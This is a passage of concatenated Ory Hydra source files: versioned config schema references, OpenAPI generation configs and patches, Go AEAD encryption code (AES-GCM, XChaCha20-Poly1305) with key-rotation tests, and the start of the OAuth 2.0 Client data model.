"v1.7.4" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.7.4/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.8.5" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.8.5/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.9.0-alpha.1" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.9.0-alpha.1/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.9.0-alpha.2" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.9.0-alpha.2/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.9.0-alpha.3" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.9.0-alpha.3/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.9.0-rc.0" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.9.0-rc.0/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.9.0" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.9.0/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.9.1" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.9.1/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.9.2" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.9.2/.schema/config.schema.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.10.1" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.10.1/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.10.2" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.10.2/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.10.3" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.10.3/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.10.5" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.10.5/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.10.6" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.10.6/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.10.7" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.10.7/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.11.0" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.11.0/spec/config.json" } ] }, { "allOf": [ { "properties": { "version": { "const": "v1.11.6" } }, "required": [ "version" ] }, { "$ref": "https://raw.githubusercontent.com/ory/hydra/v1.11.6/spec/config.json" } ] }, { "allOf": [ { "oneOf": [ { "properties": { "version": { "type": "string", "maxLength": 0 } }, "required": [ "version" ] }, { "not": { "properties": { "version": {} }, "required": [ "version" ] } } ] }, { "$ref": "#/oneOf/0/allOf/1" } ] } ], "title": "All Versions of the ORY Hydra Configuration", "type": "object" }
YAML
hydra/.schema/openapi/gen.go.yml
disallowAdditionalPropertiesIfNotPresent: true packageName: client generateInterfaces: true isGoSubmodule: false structPrefix: true enumClassPrefix: true
YAML
hydra/.schema/openapi/gen.typescript.yml
npmName: "@ory/kratos-client" npmVersion: 0.0.0 # typescriptThreePlus: true #npmRepository: https://github.com/ory/sdk.git supportsES6: true ensureUniqueParams: true modelPropertyNaming: original
YAML
hydra/.schema/openapi/patches/common.yaml
- op: remove path: /components/schemas/JSONRawMessage/type - op: remove path: /components/schemas/genericError/properties/details/type - op: remove path: /components/schemas/genericError/properties/details/additionalProperties
YAML
hydra/.schema/openapi/patches/health.yaml
- op: replace path: /paths/~1health~1alive value: get: description: |- This endpoint returns a HTTP 200 status code when {{.ProjectHumanName}} is accepting incoming HTTP requests. This status does currently not include checks whether the database connection is working. If the service supports TLS Edge Termination, this endpoint does not require the `X-Forwarded-Proto` header to be set. Be aware that if you are running multiple nodes of this service, the health status will never refer to the cluster state, only to a single instance. operationId: isAlive responses: '200': content: application/json: schema: "$ref": "#/components/schemas/healthStatus" description: {{.ProjectHumanName}} is ready to accept connections. '500': content: application/json: schema: "$ref": "#/components/schemas/genericError" description: genericError summary: Check HTTP Server Status tags: {{ .HealthPathTags | toJson }} - op: replace path: /paths/~1health~1ready value: get: operationId: isReady description: |- This endpoint returns a HTTP 200 status code when {{.ProjectHumanName}} is up running and the environment dependencies (e.g. the database) are responsive as well. If the service supports TLS Edge Termination, this endpoint does not require the `X-Forwarded-Proto` header to be set. Be aware that if you are running multiple nodes of {{.ProjectHumanName}}, the health status will never refer to the cluster state, only to a single instance. responses: '200': content: application/json: schema: type: object properties: status: description: Always "ok". type: string description: {{.ProjectHumanName}} is ready to accept requests. '503': content: application/json: schema: properties: errors: additionalProperties: type: string description: Errors contains a list of errors that caused the not ready status. type: object type: object description: Ory Kratos is not yet ready to accept requests. summary: Check HTTP Server and Database Status tags: {{ .HealthPathTags | toJson }} - op: replace path: /paths/~1version value: get: description: |- This endpoint returns the version of {{.ProjectHumanName}}. If the service supports TLS Edge Termination, this endpoint does not require the `X-Forwarded-Proto` header to be set. Be aware that if you are running multiple nodes of this service, the version will never refer to the cluster state, only to a single instance. operationId: getVersion responses: '200': content: application/json: schema: type: object properties: version: description: The version of {{.ProjectHumanName}}. type: string description: Returns the {{.ProjectHumanName}} version. summary: Return Running Software Version. tags: {{ .HealthPathTags | toJson }}
YAML
hydra/.schema/openapi/patches/meta.yaml
- op: replace path: /info value: title: Ory Hydra API description: | Documentation for all of Ory Hydra's APIs. version: >- {{ getenv "CIRCLE_TAG" }} license: name: Apache 2.0 contact: email: "[email protected]" - op: replace path: /tags value: - name: oAuth2 description: OAuth 2.0 - name: oidc description: OpenID Connect - name: jwk description: JSON Web Keys - name: wellknown description: Well-Known Endpoints - name: metadata description: Service Metadata
YAML
hydra/.schema/openapi/patches/nulls.yaml
- op: replace path: "#/components/schemas/NullUUID" value: type: string format: uuid4 nullable: true - op: replace path: "#/components/schemas/NullTime" value: format: date-time type: string nullable: true - op: replace path: "#/components/schemas/Time" value: format: date-time type: string - op: replace path: "#/components/schemas/NullString" value: type: string nullable: true - op: replace path: "#/components/schemas/NullBool" value: type: boolean nullable: true - op: replace path: "#/components/schemas/NullInt" value: type: integer nullable: true - op: replace path: "#/components/schemas/nullInt64" value: type: integer nullable: true - op: replace path: "#/components/schemas/nullDuration" value: type: string nullable: true pattern: ^[0-9]+(ns|us|ms|s|m|h)$
YAML
hydra/.schema/openapi/patches/oauth2.yaml
- op: remove path: /components/schemas/acceptOAuth2ConsentRequestSession/properties/access_token/additionalProperties - op: remove path: /components/schemas/acceptOAuth2ConsentRequestSession/properties/access_token/type - op: remove path: /components/schemas/acceptOAuth2ConsentRequestSession/properties/id_token/additionalProperties - op: remove path: /components/schemas/acceptOAuth2ConsentRequestSession/properties/id_token/type - op: replace path: /components/schemas/oAuth2ConsentSession/properties/expires_at value: type: object properties: access_token: format: date-time type: string refresh_token: format: date-time type: string authorize_code: format: date-time type: string id_token: format: date-time type: string par_context: format: date-time type: string - op: replace path: /components/schemas/nullDuration value: title: "Time duration" description: "Specify a time duration in milliseconds, seconds, minutes, hours." type: string pattern: "^([0-9]+(ns|us|ms|s|m|h))*$" - op: replace path: /components/schemas/NullDuration value: title: "Time duration" description: "Specify a time duration in milliseconds, seconds, minutes, hours." type: string pattern: "^([0-9]+(ns|us|ms|s|m|h))*$"
Go
hydra/aead/aead.go
// Copyright © 2023 Ory Corp // SPDX-License-Identifier: Apache-2.0 package aead import ( "context" "github.com/ory/fosite" ) // Cipher provides AEAD (authenticated encryption with associated data). The // ciphertext is returned base64url-encoded. type Cipher interface { // Encrypt encrypts and encodes the given plaintext, optionally using // additiona data. Encrypt(ctx context.Context, plaintext, additionalData []byte) (ciphertext string, err error) // Decrypt decodes, decrypts, and verifies the plaintext and additional data // from the ciphertext. The ciphertext must be given in the form as returned // by Encrypt. Decrypt(ctx context.Context, ciphertext string, additionalData []byte) (plaintext []byte, err error) } type Dependencies interface { fosite.GlobalSecretProvider fosite.RotatedGlobalSecretsProvider }
Go
hydra/aead/aead_test.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package aead_test import ( "context" "crypto/rand" "fmt" "io" "testing" "github.com/ory/hydra/v2/aead" "github.com/ory/hydra/v2/driver/config" "github.com/ory/hydra/v2/internal" "github.com/pborman/uuid" "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" ) func secret(t *testing.T) string { bytes := make([]byte, 32) _, err := io.ReadFull(rand.Reader, bytes) require.NoError(t, err) return fmt.Sprintf("%X", bytes) } func TestAEAD(t *testing.T) { t.Parallel() for _, tc := range []struct { name string new func(aead.Dependencies) aead.Cipher }{ {"AES-GCM", func(d aead.Dependencies) aead.Cipher { return aead.NewAESGCM(d) }}, {"XChaChaPoly", func(d aead.Dependencies) aead.Cipher { return aead.NewXChaCha20Poly1305(d) }}, } { tc := tc t.Run("cipher="+tc.name, func(t *testing.T) { NewCipher := tc.new t.Run("case=without-rotation", func(t *testing.T) { t.Parallel() ctx := context.Background() c := internal.NewConfigurationWithDefaults() c.MustSet(ctx, config.KeyGetSystemSecret, []string{secret(t)}) a := NewCipher(c) plain := []byte(uuid.New()) ct, err := a.Encrypt(ctx, plain, nil) assert.NoError(t, err) ct2, err := a.Encrypt(ctx, plain, nil) assert.NoError(t, err) assert.NotEqual(t, ct, ct2, "ciphertexts for the same plaintext must be different each time") res, err := a.Decrypt(ctx, ct, nil) assert.NoError(t, err) assert.Equal(t, plain, res) }) t.Run("case=wrong-secret", func(t *testing.T) { t.Parallel() ctx := context.Background() c := internal.NewConfigurationWithDefaults() c.MustSet(ctx, config.KeyGetSystemSecret, []string{secret(t)}) a := NewCipher(c) ct, err := a.Encrypt(ctx, []byte(uuid.New()), nil) require.NoError(t, err) c.MustSet(ctx, config.KeyGetSystemSecret, []string{secret(t)}) _, err = a.Decrypt(ctx, ct, nil) require.Error(t, err) }) t.Run("case=with-rotation", func(t *testing.T) { t.Parallel() ctx := context.Background() c := internal.NewConfigurationWithDefaults() old := secret(t) c.MustSet(ctx, config.KeyGetSystemSecret, []string{old}) a := NewCipher(c) plain := []byte(uuid.New()) ct, err := a.Encrypt(ctx, plain, nil) require.NoError(t, err) // Sets the old secret as a rotated secret and creates a new one. c.MustSet(ctx, config.KeyGetSystemSecret, []string{secret(t), old}) res, err := a.Decrypt(ctx, ct, nil) require.NoError(t, err) assert.Equal(t, plain, res) // THis should also work when we re-encrypt the same plain text. ct2, err := a.Encrypt(ctx, plain, nil) require.NoError(t, err) assert.NotEqual(t, ct2, ct) res, err = a.Decrypt(ctx, ct, nil) require.NoError(t, err) assert.Equal(t, plain, res) }) t.Run("case=with-rotation-wrong-secret", func(t *testing.T) { t.Parallel() ctx := context.Background() c := internal.NewConfigurationWithDefaults() c.MustSet(ctx, config.KeyGetSystemSecret, []string{secret(t)}) a := NewCipher(c) plain := []byte(uuid.New()) ct, err := a.Encrypt(ctx, plain, nil) require.NoError(t, err) // When the secrets do not match, an error should be thrown during decryption. c.MustSet(ctx, config.KeyGetSystemSecret, []string{secret(t), secret(t)}) _, err = a.Decrypt(ctx, ct, nil) require.Error(t, err) }) t.Run("suite=with additional data", func(t *testing.T) { t.Parallel() ctx := context.Background() c := internal.NewConfigurationWithDefaults() c.MustSet(ctx, config.KeyGetSystemSecret, []string{secret(t)}) a := NewCipher(c) plain := []byte(uuid.New()) ct, err := a.Encrypt(ctx, plain, []byte("additional data")) assert.NoError(t, err) t.Run("case=additional data matches", func(t *testing.T) { res, err := a.Decrypt(ctx, ct, []byte("additional data")) assert.NoError(t, err) assert.Equal(t, plain, res) }) t.Run("case=additional data does not match", func(t *testing.T) { res, err := a.Decrypt(ctx, ct, []byte("wrong data")) assert.Error(t, err) assert.Nil(t, res) }) t.Run("case=missing additional data", func(t *testing.T) { res, err := a.Decrypt(ctx, ct, nil) assert.Error(t, err) assert.Nil(t, res) }) }) }) } }
Go
hydra/aead/aesgcm.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package aead import ( "context" "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "io" "github.com/pkg/errors" "github.com/ory/x/errorsx" ) type AESGCM struct { c Dependencies } func NewAESGCM(c Dependencies) *AESGCM { return &AESGCM{c: c} } func aeadKey(key []byte) *[32]byte { var result [32]byte copy(result[:], key[:32]) return &result } func (c *AESGCM) Encrypt(ctx context.Context, plaintext, additionalData []byte) (string, error) { key, err := encryptionKey(ctx, c.c, 32) if err != nil { return "", err } ciphertext, err := aesGCMEncrypt(plaintext, aeadKey(key), additionalData) if err != nil { return "", errorsx.WithStack(err) } return base64.URLEncoding.EncodeToString(ciphertext), nil } func (c *AESGCM) Decrypt(ctx context.Context, ciphertext string, aad []byte) (plaintext []byte, err error) { msg, err := base64.URLEncoding.DecodeString(ciphertext) if err != nil { return nil, errorsx.WithStack(err) } keys, err := allKeys(ctx, c.c) if err != nil { return nil, errorsx.WithStack(err) } for _, key := range keys { if plaintext, err = c.decrypt(msg, key, aad); err == nil { return plaintext, nil } } return nil, err } func (c *AESGCM) decrypt(ciphertext []byte, key, additionalData []byte) ([]byte, error) { if len(key) != 32 { return nil, errors.Errorf("key must be exactly 32 long bytes, got %d bytes", len(key)) } plaintext, err := aesGCMDecrypt(ciphertext, aeadKey(key), additionalData) if err != nil { return nil, errorsx.WithStack(err) } return plaintext, nil } // aesGCMEncrypt encrypts data using 256-bit AES-GCM. This both hides the content of // the data and provides a check that it hasn't been altered. Output takes the // form nonce|ciphertext|tag where '|' indicates concatenation. func aesGCMEncrypt(plaintext []byte, key *[32]byte, additionalData []byte) (ciphertext []byte, err error) { block, err := aes.NewCipher(key[:]) if err != nil { return nil, err } gcm, err := cipher.NewGCM(block) if err != nil { return nil, err } nonce := make([]byte, gcm.NonceSize()) _, err = io.ReadFull(rand.Reader, nonce) if err != nil { return nil, err } return gcm.Seal(nonce, nonce, plaintext, additionalData), nil } // aesGCMDecrypt decrypts data using 256-bit AES-GCM. This both hides the content of // the data and provides a check that it hasn't been altered. Expects input // form nonce|ciphertext|tag where '|' indicates concatenation. func aesGCMDecrypt(ciphertext []byte, key *[32]byte, additionalData []byte) (plaintext []byte, err error) { block, err := aes.NewCipher(key[:]) if err != nil { return nil, err } gcm, err := cipher.NewGCM(block) if err != nil { return nil, err } if len(ciphertext) < gcm.NonceSize() { return nil, errors.New("malformed ciphertext") } return gcm.Open(nil, ciphertext[:gcm.NonceSize()], ciphertext[gcm.NonceSize():], additionalData, ) }
Go
hydra/aead/helpers.go
// Copyright © 2023 Ory Corp // SPDX-License-Identifier: Apache-2.0 package aead import ( "context" "fmt" ) func encryptionKey(ctx context.Context, d Dependencies, keySize int) ([]byte, error) { keys, err := allKeys(ctx, d) if err != nil { return nil, err } key := keys[0] if len(key) != keySize { return nil, fmt.Errorf("key must be exactly %d bytes long, got %d bytes", keySize, len(key)) } return key, nil } func allKeys(ctx context.Context, d Dependencies) ([][]byte, error) { global, err := d.GetGlobalSecret(ctx) if err != nil { return nil, err } rotated, err := d.GetRotatedGlobalSecrets(ctx) if err != nil { return nil, err } keys := append([][]byte{global}, rotated...) if len(keys) == 0 { return nil, fmt.Errorf("at least one encryption key must be defined but none were") } return keys, nil }
Go
hydra/aead/xchacha20.go
// Copyright © 2023 Ory Corp // SPDX-License-Identifier: Apache-2.0 package aead import ( "context" "crypto/cipher" cryptorand "crypto/rand" "encoding/base64" "fmt" "math" "golang.org/x/crypto/chacha20poly1305" "github.com/ory/x/errorsx" ) var _ Cipher = (*XChaCha20Poly1305)(nil) type ( XChaCha20Poly1305 struct { d Dependencies } ) func NewXChaCha20Poly1305(d Dependencies) *XChaCha20Poly1305 { return &XChaCha20Poly1305{d} } func (x *XChaCha20Poly1305) Encrypt(ctx context.Context, plaintext, additionalData []byte) (string, error) { key, err := encryptionKey(ctx, x.d, chacha20poly1305.KeySize) if err != nil { return "", err } aead, err := chacha20poly1305.NewX(key) if err != nil { return "", errorsx.WithStack(err) } // Make sure the size calculation does not overflow. if len(plaintext) > math.MaxInt-aead.NonceSize()-aead.Overhead() { return "", errorsx.WithStack(fmt.Errorf("plaintext too large")) } nonce := make([]byte, aead.NonceSize(), aead.NonceSize()+len(plaintext)+aead.Overhead()) _, err = cryptorand.Read(nonce) if err != nil { return "", errorsx.WithStack(err) } ciphertext := aead.Seal(nonce, nonce, plaintext, additionalData) return base64.URLEncoding.EncodeToString(ciphertext), nil } func (x *XChaCha20Poly1305) Decrypt(ctx context.Context, ciphertext string, aad []byte) (plaintext []byte, err error) { msg, err := base64.URLEncoding.DecodeString(ciphertext) if err != nil { return nil, errorsx.WithStack(err) } if len(msg) < chacha20poly1305.NonceSizeX { return nil, errorsx.WithStack(fmt.Errorf("malformed ciphertext: too short")) } nonce, ciphered := msg[:chacha20poly1305.NonceSizeX], msg[chacha20poly1305.NonceSizeX:] keys, err := allKeys(ctx, x.d) if err != nil { return nil, errorsx.WithStack(err) } var aead cipher.AEAD for _, key := range keys { aead, err = chacha20poly1305.NewX(key) if err != nil { continue } plaintext, err = aead.Open(nil, nonce, ciphered, aad) if err == nil { return plaintext, nil } } return nil, errorsx.WithStack(err) }
Go
hydra/client/client.go
// Copyright © 2022 Ory Corp // SPDX-License-Identifier: Apache-2.0 package client import ( "strconv" "strings" "time" "github.com/twmb/murmur3" "github.com/ory/hydra/v2/driver/config" "github.com/ory/x/stringsx" "github.com/gobuffalo/pop/v6" "github.com/gofrs/uuid" "github.com/go-jose/go-jose/v3" "github.com/ory/fosite" "github.com/ory/hydra/v2/x" "github.com/ory/x/sqlxx" ) var ( _ fosite.OpenIDConnectClient = (*Client)(nil) _ fosite.Client = (*Client)(nil) ) // OAuth 2.0 Client // // OAuth 2.0 Clients are used to perform OAuth 2.0 and OpenID Connect flows. Usually, OAuth 2.0 clients are // generated for applications which want to consume your OAuth 2.0 or OpenID Connect capabilities. // // swagger:model oAuth2Client type Client struct { ID uuid.UUID `json:"-" db:"pk"` NID uuid.UUID `db:"nid" faker:"-" json:"-"` // OAuth 2.0 Client ID // // The ID is autogenerated and immutable. LegacyClientID string `json:"client_id" db:"id"` // DEPRECATED: This field is deprecated and will be removed. It serves // no purpose except the database not complaining. PKDeprecated int64 `json:"-" db:"pk_deprecated"` // OAuth 2.0 Client Name // // The human-readable name of the client to be presented to the // end-user during authorization. Name string `json:"client_name" db:"client_name"` // OAuth 2.0 Client Secret // // The secret will be included in the create request as cleartext, and then // never again. The secret is kept in hashed format and is not recoverable once lost. Secret string `json:"client_secret,omitempty" db:"client_secret"` // OAuth 2.0 Client Redirect URIs // // RedirectURIs is an array of allowed redirect urls for the client. // // Example: http://mydomain/oauth/callback RedirectURIs sqlxx.StringSliceJSONFormat `json:"redirect_uris" db:"redirect_uris"` // OAuth 2.0 Client Grant Types // // An array of OAuth 2.0 grant types the client is allowed to use. Can be one // of: // // - Client Credentials Grant: `client_credentials` // - Authorization Code Grant: `authorization_code` // - OpenID Connect Implicit Grant (deprecated!): `implicit` // - Refresh Token Grant: `refresh_token` // - OAuth 2.0 Token Exchange: `urn:ietf:params:oauth:grant-type:jwt-bearer` GrantTypes sqlxx.StringSliceJSONFormat `json:"grant_types" db:"grant_types"` // OAuth 2.0 Client Response Types // // An array of the OAuth 2.0 response type strings that the client can // use at the authorization endpoint. Can be one of: // // - Needed for OpenID Connect Implicit Grant: // - Returns ID Token to redirect URI: `id_token` // - Returns Access token redirect URI: `token` // - Needed for Authorization Code Grant: `code` ResponseTypes sqlxx.StringSliceJSONFormat `json:"response_types" db:"response_types"` // OAuth 2.0 Client Scope // // Scope is a string containing a space-separated list of scope values (as // described in Section 3.3 of OAuth 2.0 [RFC6749]) that the client // can use when requesting access tokens. // // Example: scope1 scope-2 scope.3 scope:4 Scope string `json:"scope" db:"scope"` // OAuth 2.0 Client Audience // // An allow-list defining the audiences this client is allowed to request tokens for. An audience limits // the applicability of an OAuth 2.0 Access Token to, for example, certain API endpoints. The value is a list // of URLs. URLs MUST NOT contain whitespaces. // // Example: https://mydomain.com/api/users, https://mydomain.com/api/posts Audience sqlxx.StringSliceJSONFormat `json:"audience" db:"audience"` // OAuth 2.0 Client Owner // // Owner is a string identifying the owner of the OAuth 2.0 Client. Owner string `json:"owner" db:"owner"` // OAuth 2.0 Client Policy URI // // PolicyURI is a URL string that points to a human-readable privacy policy document // that describes how the deployment organization collects, uses, // retains, and discloses personal data. PolicyURI string `json:"policy_uri" db:"policy_uri"` // OAuth 2.0 Client Allowed CORS Origins // // One or more URLs (scheme://host[:port]) which are allowed to make CORS requests // to the /oauth/token endpoint. If this array is empty, the sever's CORS origin configuration (`CORS_ALLOWED_ORIGINS`) // will be used instead. If this array is set, the allowed origins are appended to the server's CORS origin configuration. // Be aware that environment variable `CORS_ENABLED` MUST be set to `true` for this to work. AllowedCORSOrigins sqlxx.StringSliceJSONFormat `json:"allowed_cors_origins" db:"allowed_cors_origins"` // OAuth 2.0 Client Terms of Service URI // // A URL string pointing to a human-readable terms of service // document for the client that describes a contractual relationship // between the end-user and the client that the end-user accepts when // authorizing the client. TermsOfServiceURI string `json:"tos_uri" db:"tos_uri"` // OAuth 2.0 Client URI // // ClientURI is a URL string of a web page providing information about the client. // If present, the server SHOULD display this URL to the end-user in // a clickable fashion. ClientURI string `json:"client_uri" db:"client_uri"` // OAuth 2.0 Client Logo URI // // A URL string referencing the client's logo. LogoURI string `json:"logo_uri" db:"logo_uri"` // OAuth 2.0 Client Contact // // An array of strings representing ways to contact people responsible // for this client, typically email addresses. // // Example: [email protected] Contacts sqlxx.StringSliceJSONFormat `json:"contacts" db:"contacts"` // OAuth 2.0 Client Secret Expires At // // The field is currently not supported and its value is always 0. SecretExpiresAt int `json:"client_secret_expires_at" db:"client_secret_expires_at"` // OpenID Connect Subject Type // // The `subject_types_supported` Discovery parameter contains a // list of the supported subject_type values for this server. Valid types include `pairwise` and `public`. SubjectType string `json:"subject_type" db:"subject_type" faker:"len=15"` // OpenID Connect Sector Identifier URI // // URL using the https scheme to be used in calculating Pseudonymous Identifiers by the OP. The URL references a // file with a single JSON array of redirect_uri values. SectorIdentifierURI string `json:"sector_identifier_uri,omitempty" db:"sector_identifier_uri"` // OAuth 2.0 Client JSON Web Key Set URL // // URL for the Client's JSON Web Key Set [JWK] document. If the Client signs requests to the Server, it contains // the signing key(s) the Server uses to validate signatures from the Client. The JWK Set MAY also contain the // Client's encryption keys(s), which are used by the Server to encrypt responses to the Client. When both signing // and encryption keys are made available, a use (Key Use) parameter value is REQUIRED for all keys in the referenced // JWK Set to indicate each key's intended usage. Although some algorithms allow the same key to be used for both // signatures and encryption, doing so is NOT RECOMMENDED, as it is less secure. The JWK x5c parameter MAY be used // to provide X.509 representations of keys provided. When used, the bare key values MUST still be present and MUST // match those in the certificate. JSONWebKeysURI string `json:"jwks_uri,omitempty" db:"jwks_uri"` // OAuth 2.0 Client JSON Web Key Set // // Client's JSON Web Key Set [JWK] document, passed by value. The semantics of the jwks parameter are the same as // the jwks_uri parameter, other than that the JWK Set is passed by value, rather than by reference. This parameter // is intended only to be used by Clients that, for some reason, are unable to use the jwks_uri parameter, for // instance, by native applications that might not have a location to host the contents of the JWK Set. If a Client // can use jwks_uri, it MUST NOT use jwks. One significant downside of jwks is that it does not enable key rotation // (which jwks_uri does, as described in Section 10 of OpenID Connect Core 1.0 [OpenID.Core]). The jwks_uri and jwks // parameters MUST NOT be used together. JSONWebKeys *x.JoseJSONWebKeySet `json:"jwks,omitempty" db:"jwks" faker:"-"` // OAuth 2.0 Token Endpoint Authentication Method // // Requested Client Authentication method for the Token Endpoint. The options are: // // - `client_secret_basic`: (default) Send `client_id` and `client_secret` as `application/x-www-form-urlencoded` encoded in the HTTP Authorization header. // - `client_secret_post`: Send `client_id` and `client_secret` as `application/x-www-form-urlencoded` in the HTTP body. // - `private_key_jwt`: Use JSON Web Tokens to authenticate the client. // - `none`: Used for public clients (native apps, mobile apps) which can not have secrets. // // default: client_secret_basic TokenEndpointAuthMethod string `json:"token_endpoint_auth_method,omitempty" db:"token_endpoint_auth_method" faker:"len=25"` // OAuth 2.0 Token Endpoint Signing Algorithm // // Requested Client Authentication signing algorithm for the Token Endpoint. TokenEndpointAuthSigningAlgorithm string `json:"token_endpoint_auth_signing_alg,omitempty" db:"token_endpoint_auth_signing_alg" faker:"len=10"` // OpenID Connect Request URIs // // Array of request_uri values that are pre-registered by the RP for use at the OP. Servers MAY cache the // contents of the files referenced by these URIs and not retrieve them at the time they are used in a request. // OPs can require that request_uri values used be pre-registered with the require_request_uri_registration // discovery parameter. RequestURIs sqlxx.StringSliceJSONFormat `json:"request_uris,omitempty" db:"request_uris"` // OpenID Connect Request Object Signing Algorithm // // JWS [JWS] alg algorithm [JWA] that MUST be used for signing Request Objects sent to the OP. All Request Objects // from this Client MUST be rejected, if not signed with this algorithm. RequestObjectSigningAlgorithm string `json:"request_object_signing_alg,omitempty" db:"request_object_signing_alg" faker:"len=10"` // OpenID Connect Request Userinfo Signed Response Algorithm // // JWS alg algorithm [JWA] REQUIRED for signing UserInfo Responses. If this is specified, the response will be JWT // [JWT] serialized, and signed using JWS. The default, if omitted, is for the UserInfo Response to return the Claims // as a UTF-8 encoded JSON object using the application/json content-type. UserinfoSignedResponseAlg string `json:"userinfo_signed_response_alg,omitempty" db:"userinfo_signed_response_alg" faker:"len=10"` // OAuth 2.0 Client Creation Date // // CreatedAt returns the timestamp of the client's creation. CreatedAt time.Time `json:"created_at,omitempty" db:"created_at"` // OAuth 2.0 Client Last Update Date // // UpdatedAt returns the timestamp of the last update. UpdatedAt time.Time `json:"updated_at,omitempty" db:"updated_at"` // OpenID Connect Front-Channel Logout URI // // RP URL that will cause the RP to log itself out when rendered in an iframe by the OP. An iss (issuer) query // parameter and a sid (session ID) query parameter MAY be included by the OP to enable the RP to validate the // request and to determine which of the potentially multiple sessions is to be logged out; if either is // included, both MUST be. FrontChannelLogoutURI string `json:"frontchannel_logout_uri,omitempty" db:"frontchannel_logout_uri"` // OpenID Connect Front-Channel Logout Session Required // // Boolean value specifying whether the RP requires that iss (issuer) and sid (session ID) query parameters be // included to identify the RP session with the OP when the frontchannel_logout_uri is used. // If omitted, the default value is false. FrontChannelLogoutSessionRequired bool `json:"frontchannel_logout_session_required,omitempty" db:"frontchannel_logout_session_required"` // Allowed Post-Redirect Logout URIs // // Array of URLs supplied by the RP to which it MAY request that the End-User's User Agent be redirected using the // post_logout_redirect_uri parameter after a logout has been performed. PostLogoutRedirectURIs sqlxx.StringSliceJSONFormat `json:"post_logout_redirect_uris,omitempty" db:"post_logout_redirect_uris"` // OpenID Connect Back-Channel Logout URI // // RP URL that will cause the RP to log itself out when sent a Logout Token by the OP. BackChannelLogoutURI string `json:"backchannel_logout_uri,omitempty" db:"backchannel_logout_uri"` // OpenID Connect Back-Channel Logout Session Required // // Boolean value specifying whether the RP requires that a sid (session ID) Claim be included in the Logout // Token to identify the RP session with the OP when the backchannel_logout_uri is used. // If omitted, the default value is false. BackChannelLogoutSessionRequired bool `json:"backchannel_logout_session_required,omitempty" db:"backchannel_logout_session_required"` // OAuth 2.0 Client Metadata // // Use this field to story arbitrary data about the OAuth 2.0 Client. Can not be modified using OpenID Connect Dynamic Client Registration protocol. Metadata sqlxx.JSONRawMessage `json:"metadata,omitempty" db:"metadata" faker:"-"` // OpenID Connect Dynamic Client Registration Access Token // // RegistrationAccessTokenSignature is contains the signature of the registration token for managing the OAuth2 Client. RegistrationAccessTokenSignature string `json:"-" db:"registration_access_token_signature"` // OpenID Connect Dynamic Client Registration Access Token // // RegistrationAccessToken can be used to update, get, or delete the OAuth2 Client. It is sent when creating a client // using Dynamic Client Registration. RegistrationAccessToken string `json:"registration_access_token,omitempty" db:"-"` // OpenID Connect Dynamic Client Registration URL // // RegistrationClientURI is the URL used to update, get, or delete the OAuth2 Client. RegistrationClientURI string `json:"registration_client_uri,omitempty" db:"-"` // OAuth 2.0 Access Token Strategy // // AccessTokenStrategy is the strategy used to generate access tokens. // Valid options are `jwt` and `opaque`. `jwt` is a bad idea, see https://www.ory.sh/docs/hydra/advanced#json-web-tokens // Setting the stragegy here overrides the global setting in `strategies.access_token`. AccessTokenStrategy string `json:"access_token_strategy,omitempty" db:"access_token_strategy" faker:"-"` // SkipConsent skips the consent screen for this client. This field can only // be set from the admin API. SkipConsent bool `json:"skip_consent" db:"skip_consent" faker:"-"` Lifespans } // OAuth 2.0 Client Token Lifespans // // Lifespans of different token types issued for this OAuth 2.0 Client. // // swagger:model oAuth2ClientTokenLifespans type Lifespans struct { // OAuth2 Authorization Code Grant Access Token Lifespan // // The lifespan of an access token issued by the OAuth 2.0 Authorization Code Grant for this OAuth 2.0 Client. AuthorizationCodeGrantAccessTokenLifespan x.NullDuration `json:"authorization_code_grant_access_token_lifespan,omitempty" db:"authorization_code_grant_access_token_lifespan"` // OAuth2 Authorization Code Grant Access ID Lifespan // // The lifespan of an ID token issued by the OAuth 2.0 Authorization Code Grant for this OAuth 2.0 Client. AuthorizationCodeGrantIDTokenLifespan x.NullDuration `json:"authorization_code_grant_id_token_lifespan,omitempty" 